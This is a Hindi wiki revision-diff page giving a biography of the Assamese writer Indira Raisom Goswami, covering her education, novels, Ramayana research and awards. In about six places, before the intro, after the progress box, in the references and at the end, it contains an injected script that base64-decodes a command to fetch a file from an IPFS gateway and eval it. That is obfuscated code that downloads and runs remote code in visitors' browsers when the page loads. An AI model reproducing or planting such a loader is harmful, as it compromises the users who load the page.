एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

"इंदिरा गोस्वामी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''इंदिरा रायसम गोस्वामी''' (अंग्रेज़ी: ''Mamoni Raisom Goswami'', जन...' के साथ नया पृष्ठ बनाया)
 
 
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया)
पंक्ति 1: पंक्ति 1:
'''इंदिरा रायसम गोस्वामी''' ([[अंग्रेज़ी]]: ''Mamoni Raisom Goswami'', जन्म- [[14 नवम्बर]], [[1942]]; मृत्यु- [[29 नवम्बर]], [[2010]]) असमिया साहित्य की सशक्त हस्ताक्षर थीं। [[ज्ञानपीठ पुरस्कार]] से सम्मानित इंदिरा गोस्वामी ने [[असम]] के चरमपंथी संगठन 'उल्फा' यानि युनाइटेड लिबरेशन फ्रंट ऑफ असम और [[भारत सरकार]] के बीच मध्यस्थ की भूमिका निभाने की राजनैतिक पहल करने में अहम भूमिका निभाई। इनके द्वारा रचित एक [[उपन्यास]] 'मामरे धरा तरोवाल अरु दुखन' के लिये उन्हें सन [[1982]] में [[साहित्य अकादमी पुरस्कार असमिया|साहित्य अकादमी पुरस्कार (असमिया)]] से सम्मानित किया गया था।
+
{{सूचना बक्सा साहित्यकार
 +
|चित्र=Indira-Raisom-Goswami.jpg
 +
|चित्र का नाम=इंदिरा गोस्वामी
 +
|पूरा नाम=इंदिरा रायसम गोस्वामी
 +
|अन्य नाम=
 +
|जन्म=[[14 नवम्बर]], [[1942]]
 +
|जन्म भूमि=[[गुवाहाटी]], [[असम]]
 +
|मृत्यु=[[29 नवम्बर]], [[2010]]
 +
|मृत्यु स्थान=[[गुवाहाटी]], [[असम]]
 +
|अभिभावक=
 +
|पालक माता-पिता=
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[भारत]]
 +
|कर्म-क्षेत्र=असमिया साहित्य
 +
|मुख्य रचनाएँ=
 +
|विषय=
 +
|भाषा=
 +
|विद्यालय=गुवाहाटी विश्वविद्यालय
 +
|शिक्षा=
 +
|पुरस्कार-उपाधि=<br />
 +
*[[ज्ञानपीठ पुरस्कार]], [[2000]]
 +
*अंतरराष्ट्रीय तुलसी पुरस्कार
 +
*[[साहित्य अकादमी पुरस्कार]], [[1982]]
 +
*भारत निर्माण पुरस्कार
 +
*सौहार्द पुरस्कार ([[उत्तर प्रदेश हिंदी संस्थान]])
 +
*कमलकुमारी फाउंडेशन पुरस्कार
 +
|प्रसिद्धि=साहित्यकार
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=इंदिरा गोस्वामी की रचनाओं का अधिकांश भारतीय भाषाओं में अनुवाद हुआ है। [[ज्ञानपीठ पुरस्कार]] मिलने के बाद उनकी रचनाओं की ओर देश का ज्यादा ध्यान गया और उनकी अनुदूति रचनाओं का मूल्यांकन गंभीरता से होने लगा।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}'''इंदिरा रायसम गोस्वामी''' ([[अंग्रेज़ी]]: ''Indira Raisom Goswami'', जन्म- [[14 नवम्बर]], [[1942]]; मृत्यु- [[29 नवम्बर]], [[2010]]) असमिया साहित्य की सशक्त हस्ताक्षर थीं। [[ज्ञानपीठ पुरस्कार]] से सम्मानित इंदिरा गोस्वामी ने [[असम]] के चरमपंथी संगठन 'उल्फा' यानि युनाइटेड लिबरेशन फ्रंट ऑफ असम और [[भारत सरकार]] के बीच मध्यस्थ की भूमिका निभाने की राजनैतिक पहल करने में अहम भूमिका निभाई। इनके द्वारा रचित एक [[उपन्यास]] 'मामरे धरा तरोवाल अरु दुखन' के लिये उन्हें सन [[1982]] में [[साहित्य अकादमी पुरस्कार असमिया|साहित्य अकादमी पुरस्कार (असमिया)]] से सम्मानित किया गया था।
 
==परिचय==
 
==परिचय==
 
14 नवम्बर, 1942 को जन्मी इंदिरा गोस्वामी की प्रारंभिक शिक्षा [[शिलांग]] में हुई लेकिन बाद में वह [[गुवाहाटी]] आ गईं और आगे की पढ़ाई उन्होंने टी सी गर्ल्स हाईस्कूल और काटन कालेज एवं गुवाहाटी विश्वविद्यालय से पूरी की। उनकी लेखन प्रतिभा के दर्शन महज 20 साल में उस समय ही हो गए जब उनकी कहानियों का पहला संग्रह [[1962]] में प्रकाशित हुआ जबकि उनकी शिक्षा का क्रम अभी चल ही रहा था। वह देश के चुनिंदा प्रसिद्ध समकालीन लेखकों में से एक थीं। उन्हें उनके 'दोंतल हातिर उने खोवडा होवडा' ('द मोथ ईटन होवडाह ऑफ ए टस्कर'), 'पेजेज स्टेन्ड विद ब्लड और द मैन फ्रॉम छिन्नमस्ता' उपन्यासों के लिए जाना जाता है।<ref name="pp">{{cite web |url=https://jivani.org/Biography/623/%E0%A4%87%E0%A4%82%E0%A4%A6%E0%A4%BF%E0%A4%B0%E0%A4%BE-%E0%A4%97%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%AE%E0%A5%80-%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8%E0%A5%80---biography-of-mamoni-raisom-goswami-in-hindi-jivani |title=इंदिरा गोस्वामी जीवनी|accessmonthday=01 जनवरी|accessyear=2022 |last= |first= |authorlink= |format= |publisher=jivani.org |language=हिंदी}}</ref>
 
14 नवम्बर, 1942 को जन्मी इंदिरा गोस्वामी की प्रारंभिक शिक्षा [[शिलांग]] में हुई लेकिन बाद में वह [[गुवाहाटी]] आ गईं और आगे की पढ़ाई उन्होंने टी सी गर्ल्स हाईस्कूल और काटन कालेज एवं गुवाहाटी विश्वविद्यालय से पूरी की। उनकी लेखन प्रतिभा के दर्शन महज 20 साल में उस समय ही हो गए जब उनकी कहानियों का पहला संग्रह [[1962]] में प्रकाशित हुआ जबकि उनकी शिक्षा का क्रम अभी चल ही रहा था। वह देश के चुनिंदा प्रसिद्ध समकालीन लेखकों में से एक थीं। उन्हें उनके 'दोंतल हातिर उने खोवडा होवडा' ('द मोथ ईटन होवडाह ऑफ ए टस्कर'), 'पेजेज स्टेन्ड विद ब्लड और द मैन फ्रॉम छिन्नमस्ता' उपन्यासों के लिए जाना जाता है।<ref name="pp">{{cite web |url=https://jivani.org/Biography/623/%E0%A4%87%E0%A4%82%E0%A4%A6%E0%A4%BF%E0%A4%B0%E0%A4%BE-%E0%A4%97%E0%A5%8B%E0%A4%B8%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%AE%E0%A5%80-%E0%A4%9C%E0%A5%80%E0%A4%B5%E0%A4%A8%E0%A5%80---biography-of-mamoni-raisom-goswami-in-hindi-jivani |title=इंदिरा गोस्वामी जीवनी|accessmonthday=01 जनवरी|accessyear=2022 |last= |first= |authorlink= |format= |publisher=jivani.org |language=हिंदी}}</ref>
पंक्ति 7: पंक्ति 45:
 
इंदिरा गोस्वामी की व्यक्तिगत ईमानदारी का परिचय उनके आत्मकथात्मक उपन्यास 'द अनफिनिशड आटोबायोग्राफी'में मिलता है। इसमें उन्होंने अपनी जिन्दगी के तमाम संघर्षों पर रोशनी डाली है। यहां तक कि इस किताब में उन्होंने ऐसी घटना का भी जिक्र किया है कि दबाव में आकर उन्होंने आत्महत्या करने जैसा कदम उठाने का प्रयास किया था। तब उन्हें उनके बेपरवाह बचपन और [[पिता]] के पत्रों की यादों ने ही जीवन दिया। शायद इसी ईमानदारी तथा आत्मालोचना के बल ने उन्हें असम के अग्रणी लेखकों की पंक्ति में लाकर खड़ा कर दिया।
 
इंदिरा गोस्वामी की व्यक्तिगत ईमानदारी का परिचय उनके आत्मकथात्मक उपन्यास 'द अनफिनिशड आटोबायोग्राफी'में मिलता है। इसमें उन्होंने अपनी जिन्दगी के तमाम संघर्षों पर रोशनी डाली है। यहां तक कि इस किताब में उन्होंने ऐसी घटना का भी जिक्र किया है कि दबाव में आकर उन्होंने आत्महत्या करने जैसा कदम उठाने का प्रयास किया था। तब उन्हें उनके बेपरवाह बचपन और [[पिता]] के पत्रों की यादों ने ही जीवन दिया। शायद इसी ईमानदारी तथा आत्मालोचना के बल ने उन्हें असम के अग्रणी लेखकों की पंक्ति में लाकर खड़ा कर दिया।
  
इंदिरा गोस्वामी को ऊपर का [[साहित्कार]] माना जाता था। भूपेन दा और मामोनी बाइडेउ का व्यक्तित्व और उनका रचना संसार पूरे देश को प्रभावित करता था। वे भले ही असमिया थे, लेकिन वे दोनों देश के लिए अमूल्य संपति थे। फिलहाल तो कला जगत में ऐसा कोई असमिया चेहरा नहीं है, जिसे पूरे देश जानता हो। वे दोनों [[असम]] के राष्ट्रीय चेहरे थे। एक सुर का प्रतिनिधित्व करते थे, दूसरा शब्दों का। इंदिरा गोस्वामी ने [[वृंदावन]] में अभिशप्त विधवाओं पर उपन्यास लिखा तो [[वाराणसी]] के घाटों का भी चित्रण किया। अपने शोध के विषय के रूप में कांदली रामायण और [[तुलसीदास]] के [[रामचरितमानस]] का तुलनात्मक अध्ययन को चुना और रामायणी बन गई। [[रामायण]] पर व्याख्यान देने लगीं। इसके लिए देश-विदेश का भ्रमण किया और कई सम्मान प्राप्त किये। यह उनके व्यक्तित्व का एक अलग और महत्वपूर्ण आयाम था।<ref name="pp"/>
+
इंदिरा गोस्वामी को ऊपर का [[साहित्यकार]] माना जाता था। भूपेन दा और मामोनी बाइडेउ का व्यक्तित्व और उनका रचना संसार पूरे देश को प्रभावित करता था। वे भले ही असमिया थे, लेकिन वे दोनों देश के लिए अमूल्य संपति थे। फिलहाल तो कला जगत में ऐसा कोई असमिया चेहरा नहीं है, जिसे पूरे देश जानता हो। वे दोनों [[असम]] के राष्ट्रीय चेहरे थे। एक सुर का प्रतिनिधित्व करते थे, दूसरा शब्दों का। इंदिरा गोस्वामी ने [[वृंदावन]] में अभिशप्त विधवाओं पर उपन्यास लिखा तो [[वाराणसी]] के घाटों का भी चित्रण किया। अपने शोध के विषय के रूप में कांदली रामायण और [[तुलसीदास]] के [[रामचरितमानस]] का तुलनात्मक अध्ययन को चुना और रामायणी बन गई। [[रामायण]] पर व्याख्यान देने लगीं। इसके लिए देश-विदेश का भ्रमण किया और कई सम्मान प्राप्त किये। यह उनके व्यक्तित्व का एक अलग और महत्वपूर्ण आयाम था।<ref name="pp"/>
 +
 
 
==रचनाओं का अनुवाद==
 
==रचनाओं का अनुवाद==
 
इंदिरा गोस्वामी की रचनाओं का अधिकांश भारतीय भाषाओं में अनुवाद हुआ है। [[ज्ञानपीठ पुरस्कार]] मिलने के बाद उनकी रचनाओं की ओर देश का ज्यादा ध्यान गया और उनकी अनुदूति रचनाओं का मूल्यांकन गंभीरता से होने लगा। इसलिए [[हिन्दी]] समेत अन्य भारतीय भाषाओं में उनकी रचनाओं को उतना ही चाव से पढ़ा जाता है। यही वजह है कि किसी भी [[भाषा]] का [[साहित्य]] प्रेमी उन्हें उनकी रचनाओं के माध्यम से जानता है।
 
इंदिरा गोस्वामी की रचनाओं का अधिकांश भारतीय भाषाओं में अनुवाद हुआ है। [[ज्ञानपीठ पुरस्कार]] मिलने के बाद उनकी रचनाओं की ओर देश का ज्यादा ध्यान गया और उनकी अनुदूति रचनाओं का मूल्यांकन गंभीरता से होने लगा। इसलिए [[हिन्दी]] समेत अन्य भारतीय भाषाओं में उनकी रचनाओं को उतना ही चाव से पढ़ा जाता है। यही वजह है कि किसी भी [[भाषा]] का [[साहित्य]] प्रेमी उन्हें उनकी रचनाओं के माध्यम से जानता है।

12:04, 3 जनवरी 2022 के समय का अवतरण

इंदिरा गोस्वामी
इंदिरा गोस्वामी
पूरा नाम इंदिरा रायसम गोस्वामी
जन्म 14 नवम्बर, 1942
जन्म भूमि गुवाहाटी, असम
मृत्यु 29 नवम्बर, 2010
मृत्यु स्थान गुवाहाटी, असम
कर्म भूमि भारत
कर्म-क्षेत्र असमिया साहित्य
विद्यालय गुवाहाटी विश्वविद्यालय
पुरस्कार-उपाधि
प्रसिद्धि साहित्यकार
नागरिकता भारतीय
अन्य जानकारी इंदिरा गोस्वामी की रचनाओं का अधिकांश भारतीय भाषाओं में अनुवाद हुआ है। ज्ञानपीठ पुरस्कार मिलने के बाद उनकी रचनाओं की ओर देश का ज्यादा ध्यान गया और उनकी अनुदूति रचनाओं का मूल्यांकन गंभीरता से होने लगा।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इंदिरा रायसम गोस्वामी (अंग्रेज़ी: Indira Raisom Goswami, जन्म- 14 नवम्बर, 1942; मृत्यु- 29 नवम्बर, 2010) असमिया साहित्य की सशक्त हस्ताक्षर थीं। ज्ञानपीठ पुरस्कार से सम्मानित इंदिरा गोस्वामी ने असम के चरमपंथी संगठन 'उल्फा' यानि युनाइटेड लिबरेशन फ्रंट ऑफ असम और भारत सरकार के बीच मध्यस्थ की भूमिका निभाने की राजनैतिक पहल करने में अहम भूमिका निभाई। इनके द्वारा रचित एक उपन्यास 'मामरे धरा तरोवाल अरु दुखन' के लिये उन्हें सन 1982 में साहित्य अकादमी पुरस्कार (असमिया) से सम्मानित किया गया था।

परिचय

14 नवम्बर, 1942 को जन्मी इंदिरा गोस्वामी की प्रारंभिक शिक्षा शिलांग में हुई लेकिन बाद में वह गुवाहाटी आ गईं और आगे की पढ़ाई उन्होंने टी सी गर्ल्स हाईस्कूल और काटन कालेज एवं गुवाहाटी विश्वविद्यालय से पूरी की। उनकी लेखन प्रतिभा के दर्शन महज 20 साल में उस समय ही हो गए जब उनकी कहानियों का पहला संग्रह 1962 में प्रकाशित हुआ जबकि उनकी शिक्षा का क्रम अभी चल ही रहा था। वह देश के चुनिंदा प्रसिद्ध समकालीन लेखकों में से एक थीं। उन्हें उनके 'दोंतल हातिर उने खोवडा होवडा' ('द मोथ ईटन होवडाह ऑफ ए टस्कर'), 'पेजेज स्टेन्ड विद ब्लड और द मैन फ्रॉम छिन्नमस्ता' उपन्यासों के लिए जाना जाता है।[1]

विवाह के सिर्फ अठारह महीने बाद ही उनके पति की मौत हो गई थी। इसके बाद अपना सामान और गहने वहीं बांट कर वे कश्मीर से असम लौट आई थीं। लेकिन लेखन कभी बंद नहीं हुआ। एक अभिजात परिवार में जन्म लेने और पलने-बढ़ने के बावजूद उनकी नजर हमेशा समाज के उपेक्षित और अपमानित लोगों पर ही रहती थी। शायद उन्हें अपने दुख, पीडि़त लोगों के जीवन में ही दिखते थे। उनके साहित्य में महलों में जीवन जीने वाले लोग नहीं, उनके आसपास झुग्गियों में जीने वाले लोगों की कहानियां दिखती हैं। उन लोगों के सुख, दुख, हंसना, रोना ही थी उनकी कलम की शक्ति और सृष्टि का आधार।

लेखन

इंदिरा गोस्वामी की व्यक्तिगत ईमानदारी का परिचय उनके आत्मकथात्मक उपन्यास 'द अनफिनिशड आटोबायोग्राफी'में मिलता है। इसमें उन्होंने अपनी जिन्दगी के तमाम संघर्षों पर रोशनी डाली है। यहां तक कि इस किताब में उन्होंने ऐसी घटना का भी जिक्र किया है कि दबाव में आकर उन्होंने आत्महत्या करने जैसा कदम उठाने का प्रयास किया था। तब उन्हें उनके बेपरवाह बचपन और पिता के पत्रों की यादों ने ही जीवन दिया। शायद इसी ईमानदारी तथा आत्मालोचना के बल ने उन्हें असम के अग्रणी लेखकों की पंक्ति में लाकर खड़ा कर दिया।

इंदिरा गोस्वामी को ऊपर का साहित्यकार माना जाता था। भूपेन दा और मामोनी बाइडेउ का व्यक्तित्व और उनका रचना संसार पूरे देश को प्रभावित करता था। वे भले ही असमिया थे, लेकिन वे दोनों देश के लिए अमूल्य संपति थे। फिलहाल तो कला जगत में ऐसा कोई असमिया चेहरा नहीं है, जिसे पूरे देश जानता हो। वे दोनों असम के राष्ट्रीय चेहरे थे। एक सुर का प्रतिनिधित्व करते थे, दूसरा शब्दों का। इंदिरा गोस्वामी ने वृंदावन में अभिशप्त विधवाओं पर उपन्यास लिखा तो वाराणसी के घाटों का भी चित्रण किया। अपने शोध के विषय के रूप में कांदली रामायण और तुलसीदास के रामचरितमानस का तुलनात्मक अध्ययन को चुना और रामायणी बन गई। रामायण पर व्याख्यान देने लगीं। इसके लिए देश-विदेश का भ्रमण किया और कई सम्मान प्राप्त किये। यह उनके व्यक्तित्व का एक अलग और महत्वपूर्ण आयाम था।[1]

रचनाओं का अनुवाद

इंदिरा गोस्वामी की रचनाओं का अधिकांश भारतीय भाषाओं में अनुवाद हुआ है। ज्ञानपीठ पुरस्कार मिलने के बाद उनकी रचनाओं की ओर देश का ज्यादा ध्यान गया और उनकी अनुदूति रचनाओं का मूल्यांकन गंभीरता से होने लगा। इसलिए हिन्दी समेत अन्य भारतीय भाषाओं में उनकी रचनाओं को उतना ही चाव से पढ़ा जाता है। यही वजह है कि किसी भी भाषा का साहित्य प्रेमी उन्हें उनकी रचनाओं के माध्यम से जानता है।

कामिल बुल्के से मुलाकात

रामायणी साहित्य पर इंदिरा गोस्वामी का शोध बहुत सराहा गया था। वह फादर कामिल बुल्के से रांची में मिली थीं। ये बात सन् 1972 की है। फादर ने इंदिरा जी को राम साहित्य को समझने की नई प्रेरणा दी। इंदिरा जी के जीवन के हादसों के विवरण सुन कर उन्होंने उनसे कहा था, हमेशा अच्छे काम करते जाओ। अच्छे काम का फल कभी बुरा नहीं होता। इस अनोखी लेखिका का निजी जीवन घटनाओं-दुर्घटनाओं से भरा हुआ था। ग्यारह साल की उम्र में ही वे अवसाद का शिकार हो गई थीं। परिवार में या आसपास होने वाली कोई भी दुर्घटना उनके अवसाद को बढ़ा देती थी। किसी की मृत्यु देख कर वह घबरा उठती थीं। अपने पिता की मृत्यु उन्होंने बहुत ही करीब से देखी थी। हर बार अवसाद का सामना करने के लिए वे कलम उठा लेती थीं। उन्होंने कहा भी था- "मेरे शरीर में ख़ून के रूप में स्याही बहती है, इसीलिए मैं जिंदा हूं।"[1]

मुख्य कृतियाँ

उपन्यास

चेनाबार स्रोत, नीलकंठी ब्रज, अहिरन, छिन्नमस्ता, मामरे धारा तरोवाल, दाताल हातीर उवे खोवा हावदा, तेज अरु धूलि धूसरित पृष्ठ, ब्लड-स्टेंड पेजिज, दक्षिणी कामरूप की गाथा

कहानी संग्रह

चिनाकी मरम, कइना, हृदय एक नदीर नाम, प्रिय गल्पो

आत्मकथा

आधा लेखा दस्तावेज

शोध

रामायण फ्रॉम गंगा टू ब्रह्मपुत्र

सम्मान

मृत्यु

इंदिरा गोस्वामी की मृत्यु 29 नवम्बर, 2010 को हुई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 इंदिरा गोस्वामी जीवनी (हिंदी) jivani.org। अभिगमन तिथि: 01 जनवरी, 2022।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>